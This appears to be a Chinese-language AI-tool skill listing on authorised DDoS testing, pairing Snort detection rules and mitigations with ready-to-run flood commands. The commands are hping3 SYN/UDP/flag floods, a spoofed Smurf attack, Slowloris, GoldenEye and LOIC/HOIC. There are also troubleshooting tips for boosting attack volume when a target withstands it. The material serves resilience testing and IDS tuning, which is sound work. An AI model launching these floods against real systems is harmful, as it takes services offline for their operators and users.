SuperAPI AI 工具集

DDoS Attack Testing

安全与审计

查看项目

更新于 10-16 04:36

技能介绍

用途

在获得书面授权的前提下,对网络与系统开展拒绝服务测试,评估其抗压与弹性能力,并配置入侵检测系统(IDS)识别和告警各类 DoS 攻击模式。技能覆盖基于流量(Volume Based)、基于协议(Protocol Based)与基于应用层(Application Layer)三类攻击,使用命令行与图形界面工具,并配合 Snort IDS 规则进行检测。

主要能力

  • 攻击分类理解:Volume Based(以 bps 衡量,如 UDP flood、ICMP flood,目标为网络带宽);Protocol Based(以 pps 衡量,如 SYN flood、Ping of Death,目标为连接状态表);Application Layer(以 rps 衡量,如 HTTP flood、Slowloris,目标为 Web 服务器与应用)。
  • 协议层测试:TCP SYN Flood、UDP Flood、SYN-FIN Flood、PUSH-ACK Flood、RST Flood、FIN Flood、ICMP Smurf 放大攻击。
  • 应用层测试:Slowloris、GoldenEye。
  • GUI 压测:LOIC(TCP Flood)、HOIC(HTTP Flood)。
  • 检测配置:编写 Snort 规则,按 flags、protocol、threshold(type、track、count、seconds)等条件检测并告警。
  • 交付物:抗压评估报告、IDS 规则配置、攻击模式分析(流量捕获与特征)、缓解建议。

使用方式与核心工作流

  1. 前置条件:安装 Hping3、Snort、Wireshark,获取 Slowloris 等工具;需具备 TCP/IP 协议基础、OSI 模型、流量分析与 IDS/IPS 配置知识,以及书面授权、隔离测试网络、目标系统管理员权限、IDS/Snort 配置访问权限。
  2. 理解 DDoS 分类后,按阶段执行测试:
    • SYN Flood:hping3 -S --flood -p 80 192.168.1.107;或用 Metasploit auxiliary/dos/tcp/synflood。
    • UDP Flood:hping3 --udp --flood -p 80 192.168.1.107,可加 -d 1000 指定数据大小。
    • SYN-FIN Flood:hping3 -SF --flood -p 80 192.168.1.107(无效标志组合)。
    • PUSH-ACK Flood:hping3 -PA --flood -p 80 192.168.1.107。
    • RST Flood:hping3 -R --flood -p 80 192.168.1.107。
    • FIN Flood:hping3 -F --flood -p 80 192.168.1.107。
    • ICMP Smurf:hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107。
    • 应用层:python slowloris.py 192.168.1.107 -p 80 -s 500;python goldeneye.py http://192.168.1.107 -w 50 -s 500。
    • GUI:LOIC 设置目标 IP、端口、方法、线程数后启动;HOIC 添加目标 URL、选择 Power、设置线程数后启动。
  3. Snort 检测配置:编辑 /etc/snort/rules/local.rules 添加规则,例如 SYN Flood:alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;),随后以 IDS 模式启动 Snort:sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0。
  4. 检测指标:SYN Flood(高 SYN、低 SYN-ACK)、UDP Flood(高 UDP、随机端口)、ICMP Flood(高 ICMP echo 请求)、Slowloris(大量半开连接)、HTTP Flood(高 HTTP 请求率)。
  5. 示例:包含完整 SYN Flood 测试流程(配置规则、启动 Snort、Wireshark 抓包、发起攻击、观察告警、分析捕获)、多向量测试(批量写入规则并顺序执行)、Slowloris 应用层测试(检查连接数、发起、监控、验证恢复)。

适用场景

  • 自有或已获授权网络/系统的 DDoS 抗压与弹性评估。
  • IDS/IPS(Snort)攻击检测规则的编写、调优与验证。
  • 隔离实验环境中的攻击模式分析与流量特征提取。
  • 安全加固前的缓解策略验证与推荐。

限制

  • 法律与伦理:仅可测试自有或获得书面授权的系统;对生产系统发起 DDoS 属违法行为;须使用隔离测试网络、记录全部测试活动、避免业务时段、与网络管理员协调、准备回滚方案。
  • 技术限制:测试结果受网络容量影响;CDN 与云防护可能干扰结果;部分攻击需要大量带宽;检测规则需按环境调优。
  • 本文未提供具体定价、收费、平台兼容性等商业信息。

故障排查

  • Snort 未检测到攻击:确认监听网卡、用 snort -T -c snort.conf 校验语法、检查 HOME_NET 变量、降低阈值、确认流量到达接口。
  • Hping3 洪泛过慢:使用 --faster/--flood、多源并发、增大网络缓冲区、使用专用网卡或专用压测工具。
  • 目标未受影响:提高攻击量、目标可能有 DDoS 防护、检查路径过滤、用 Wireshark 确认到达、目标容量可能较高。
  • 误报:提高阈值、为已知合法来源加例外、改用速率检测、白名单可信 IP、基于基线流量调优规则。

缓解建议

  • 网络层:边缘路由器限速、服务器启用 SYN cookies、anycast 分布式吸收、硬件 DDoS 缓解、ACL 阻断已知攻击模式。
  • 应用层:连接超时、带限速的反向代理、部署 WAF、按 IP 连接限制、可疑请求使用验证码。
  • 基础设施层:CDN 吸收流量、按需地理封锁、云资源自动扩缩容、备用 DDoS 缓解服务、维护事件响应流程。